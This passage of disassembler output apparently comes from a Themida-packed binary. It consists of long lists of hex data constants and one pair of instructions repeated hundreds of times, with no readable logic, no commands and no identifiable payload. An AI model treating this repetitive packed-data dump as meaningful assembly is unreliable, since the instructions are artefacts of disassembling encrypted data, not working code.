3800Fh, 0B70F0000h, 6E9F7h, 41150000h dd 929CC49Eh, 11E8h, 3F230800h, 9EBC5CC7h, 0C6B7EA59h dd 92B15B3h, 5AF5B93Eh, 44DB8166h, 0CF8166F1h, 810F4121h dd 9, 3860Fh, 0CC800000h, 6860F9Eh, 81000000h, 2092B4EAh dd 0A1CF8041h, 5810Fh, 2DBF0000h, 664F3CF1h, 0AE9DE8Bh dd 34000000h, 3E4396E5h, 0A8573F33h, 7DB96672h, 0F08B669Eh dd 0E9DA8B66h, 12h, 0A1AEEA46h, 0EF7C3DEh, 0A1B9702Ah dd 0C9222CF7h, 0BA60D549h, 5854A753h, 919425BEh, 810F6148h dd 1Dh, 13E8h, 1D987E00h, 1B998695h, 49E75E3Bh, 865CD10Bh dd 9D3E0532h, 0A913BB66h, 0C6B1605Eh, 5A0FBE66h, 9E85661h dd 0E3000000h, 19897A56h, 8B6E6DDAh, 5F5AFE8Ah, 6E9h, 88621400h dd 0FCD0B5E8h, 0EE9h, 7023AB00h, 38E267D8h, 62E760Bh, 80AD707Eh dd 0BF0FF3EAh, 6E9D2h, 56840000h, 316A98A5h, 38D0Fh, 0DB800000h dd 7E9F0h, 171D0000h, 0A28C0A0Eh, 13E8B8h, 0B61A0000h dd 0DA5E6486h, 37AAC6ACh, 0B4655D39h, 22040714h, 5FDF8BB1h dd 11E9h, 18D64000h, 8D2F53D3h, 1972FFDh, 866BC567h, 8F0F1607h dd 5, 0AC78166h, 0DBB70F6Eh, 6E9h, 0DC347600h, 806972C5h dd 0EE80BBC1h, 13E95Fh, 4A810000h, 359783CDh, 0E63F7C33h dd 2F28BCC6h, 0A07C26C8h, 0A9BB66ACh, 188C0F2Bh, 0E8000000h dd 12h, 22732C56h, 53849C16h, 0A573854Eh, 9FBE3693h, 66591855h dd 60D8D2BFh, 0F52A0B1h, 615EF0BFh, 5BD9CB81h, 0B70F3E9Ah dd 860FCBh, 66000000h, 8B15EAB8h, 3820FD7h, 0F000000h dd 8B66F0BFh, 14E9FEh, 26E60000h, 0BA84E532h, 0E3296BE6h dd 60F61735h, 9FA87A3Fh, 0CA8B0C9Fh, 9E9h, 7E4E2A00h, 4822E508h dd 8BF86C30h, 0C7B70FCBh, 6E9h, 57156700h, 51E1577Eh, 1FC2F7BEh dd 0EA805868h, 8B0F607Eh, 3, 0FD1B70Fh, 583h, 9B33BB00h dd 0B46122EFh, 0DE914h, 3E1F0000h, 99AED277h, 8EBF973h dd 0F0D09C8h, 880FD3BFh, 2, 0DA8BF78Bh, 66CFBF0Fh, 0BE9F88Bh dd 53000000h, 7C4C45E0h, 77032C06h, 8A519181h, 8B6658CAh dd 4482BFF9h, 850F7643h, 0Ah, 5E9h, 0ADD47700h, 0BE96ED1h dd 8D000000h, 70D8532Eh, 6E81CA67h, 88BF1D37h, 56531176h dd 6E1BE66h, 0D88B665Fh, 0A44A8CBBh, 850F7Ch, 66000000h dd 66C177BFh, 6653D88Bh, 0F203E681h, 8865B959h, 0C38A3BB4h dd 0BE8h, 8F8D6100h, 0A00D3B00h, 29C4F1D7h, 6DBB6658h dd 8E91Bh, 5CFB0000h, 7E2E410h, 0D281D2F2h, 6031BDAAh dd 68D0F60h, 81000000h, 0CE1F2BC2h, 0C9816628h, 816173F3h dd 78BEBCD8h, 8E927h, 33160000h, 6617E597h, 8E92678h, 77000000h dd 467290D1h, 0FA98751h, 800FF2BFh, 5, 0E9E78166h, 23BB6663h dd 0C681667Dh, 3BBBB723h, 8B2B6201h, 0B9F88BC1h, 1EC1E68Fh dd 5267E580h, 12A2FBB9h, 8B0F5822h, 5, 0F3F18166h, 5050F89Ah dd 5FC6B70Fh, 10820F5Ah, 0E9000000h, 0Bh, 0EFC6AB36h, 0AE296CECh dd 816487E6h, 0B98AB2D7h, 41B9664Fh, 12E9F8EAh, 0A2000000h dd 31A7A57Fh, 664492E2h, 5FD54D9Fh, 197A46CDh, 0E2816675h dd 800FF480h, 3, 0B0F1BF0Fh, 9E8B7h, 90CA0000h, 0A47804D5h dd 0E876E8F3h, 5, 61C33025h, 820FF0h, 5E000000h, 0F78B6658h dd 14890Fh, 860F0000h, 0Eh, 9E9h, 0DC55EB00h, 2F884F14h dd 13E97AA8h, 8D000000h, 0D96B3666h, 323E60AFh, 537B966Dh dd 17810597h, 880F3962h, 4, 5A5F5151h, 2820F53h, 0B6000000h dd 806059F3h, 0BA6625F5h, 66612329h, 8BB457B9h, 0DEBF0FD8h dd 38D0Fh, 0B70F0000h, 5E9FAh, 0F6880000h, 66A90FC3h, 937EC381h dd 0E181FCFCh, 5B7B9D7Dh, 2BD78166h, 0CB81661Bh, 8B661F43h dd 0FB8BFCCEh, 0F75F580h, 28Ch, 0BFD98B00h, 0E956E5Ch dd 0B4E08166h, 0C8BF0FE0h, 0EE8h, 0F470AF00h, 822D09A8h dd 66C935Bh, 6666549Ch, 8A58C28Bh, 0CCE81F3h, 0BB3569CFh dd 13C22BE1h, 20E78166h, 0D08B6613h, 296A4FBEh, 0BE979h dd 5E640000h, 0AAC6ACDAh, 655D3937h, 0F1B70FB4h, 66F1BF0Fh dd 66D7F8B9h, 0A3F8CB81h, 58F0F60h, 0B8000000h, 5D04D7Ah dd 0E9615856h, 9, 0AB009F03h, 9033A958h, 5E1BB9C4h, 820F4004h dd 5, 7D7951BAh, 8C0F6021h, 6, 860Fh, 4BBE0000h, 61423264h dd 0D62FFBEh, 0C68BF85Ah, 5800Fh, 81660000h, 0BBEA7DC6h dd 42D17A9Ch, 0FD38B66h, 889h, 28E0F00h, 60000000h, 0E2816661h dd 0B866624Dh, 0F78BACC3h, 50FEB70Fh, 9BC98166h, 81665F4Ch dd 57591ADEh, 0F5FC18Bh, 48Fh, 8AB86600h, 1119BA41h, 81562EF3h dd 0D70A06DEh, 0A3BE5959h, 0E9788486h, 5, 30515947h, 10E95Fh dd 21C00000h, 0B45DAEAEh, 0BC24248Ch, 6F6B6C06h, 5F5219CAh dd 610CB966h, 1800Fh, 0B1F80000h, 3820FCDh, 66000000h dd 0FF9D08Bh, 180h, 8E0FF800h, 5, 75D007B8h, 5E96Ch, 0C7460000h dd 8A46196Dh, 66CE8BDCh, 8B3683B8h, 66B866C2h, 4AB2BBDBh dd 0F60049Eh, 382h, 0C38B6600h, 0CA98BA66h, 0CE961h, 7C230000h dd 0D9B0198Fh, 480FDC76h, 0C4802C77h, 0DB816697h, 0B9668D76h dd 8B66EA47h, 0DA8B66F9h, 6830F50h, 0F000000h, 87h, 13E85F00h dd 0BD000000h, 62E3A099h, 0A6DE7A4Dh, 9424068h, 4B6A8AE7h dd 13E94721h, 34000000h, 6584FE54h, 0C5E47935h, 1DCF310Ah dd 4FF78A32h, 8B5E0855h, 11E8DAh, 24F40000h, 0B7E2348Ch dd 0C661414Eh, 99221C35h, 0E833E3FFh, 14h, 776B3423h, 275BB679h dd 0F8E7D7A6h, 0CD6BBAE3h, 0A906F31Ah, 36AF31BAh, 0F5E5B25h dd 38Ah, 0C2B70F00h, 0CE8h, 6610CE00h, 7E98C993h, 2F0F9912h dd 59F28B09h, 81F0BF0Fh, 9F8644F1h, 0E9F8F54Ah, 8, 0FE15DCA4h dd 0A06BEF5Bh, 14E9F560h, 0A9000000h, 0F820EAB8h, 2A027882h dd 0A8BE291Ch, 0C2131F23h, 613FDDB8h, 5880Fh, 0F530000h dd 665BDFB7h, 0E969AEBEh, 10h, 0AA0B8CA9h, 0A8D2A15Ah dd 1D149AA7h, 1F2D54B9h, 0FE8h, 9F7AF400h, 4C2A5271h, 7B33BADBh dd 3CD4881Eh, 8B595DB2h, 81DE8BFAh, 8ACB9ADAh, 0EFEA815Ah dd 0E973530Ah, 14h, 7E948BA7h, 8FC029F6h, 7FCF439Dh, 0D3CFC748h dd 3A0AE4B8h, 1800Fh, 0B6F80000h, 0DF8166E7h, 0FF5ED35h dd 28Ch, 5707B700h, 56C38A59h, 28E0Fh, 61600000h, 2810F59h dd 8B000000h dd 0F18160D7h, 0CC8EBACh, 0F38B6653h, 10E9615Bh, 0A7000000h dd 890EB4C7h, 0EC67A255h, 9D39F7A4h, 0E900F2DDh, 0Ch, 0CA9E4FFAh dd 69AE62h, 6785FA15h, 8B600EB0h, 0DF8166CFh, 0F61D047h dd 850FCBBFh, 3, 0FCF78B66h, 0BB90DF80h, 46018D97h, 8173D480h dd 21DFC8D9h, 2EC88112h, 667262D5h, 8BA401B8h, 6056F9FAh dd 2D88166h, 8C0FD3h, 61000000h, 98BA665Ah, 0D9816604h dd 0DD80DF13h, 0DFBF0F7Ah, 0FE8h, 9DE72200h, 89037E6Bh dd 0E812A730h, 0C9F734DFh, 5FF18B66h, 3850Fh, 0F7800000h dd 10E93Dh, 0B3870000h, 0C867CE04h, 8179B86Eh, 33B47A03h dd 0CA8BA14Dh, 0AE8h, 0E90BA100h, 61C65535h, 6097241Dh dd 860F9CB5h, 0 dd 0D3815E61h, 232C1466h, 0BE8h, 0D1122600h, 0A1DCF065h dd 1121EDBCh, 0E95833B5h, 10h, 4FC81E3Bh, 97AD6AFCh, 2DB35EAFh dd 0E1931E14h, 53EA8A60h, 0D001BE66h, 0BF0F615Bh, 0DE9CAh dd 0E1560000h, 35235E9Fh, 0E0029E57h, 532BC81Ah, 0BE8h dd 5A068200h, 2D019D95h, 0CAA85FCAh, 9E8h, 0F0075000h dd 750E44Eh, 5F5A4EF0h, 90BE665Ah, 66C78A2Bh, 3889DE81h dd 8AC0DE80h, 0B456F8FEh, 12E95F97h, 0BD000000h, 8F624516h dd 0B2A4892Fh, 0D7486F99h, 484FD4C9h, 0EE937h, 0C2550000h dd 571CF8DAh, 74B007Fh, 2D21B105h, 0AE9h, 0C4736E00h, 823B5FD3h dd 0F9BDEE9h, 88Bh, 28D0F00h, 56000000h, 870F59h, 57000000h dd 0F870Fh, 0AE90000h, 30000000h, 9E5B5FB3h, 193AB7BEh dd 3BBF59B5h, 0E818CD83h, 8, 615DDDB6h, 1248C48Ah, 48D0Fh dd 0BB660000h, 0F59D3C1h, 28Ah, 6697B000h, 666538B8h, 54F0DE81h dd 6784B960h, 8B501772h, 45615EF2h, 2Bh dup(481D3785h) dd 0AD1D3785h, 208h dup(0AF0289F7h) dword_5B7974 dd 0AF0289F7h ; DATA XREF: Themida_:00542C96r ; Themida_:00542E2Fr ; --------------------------------------------------------------------------- test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h loc_5B7E32: ; DATA XREF: Themida_:loc_53FEBCr add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, 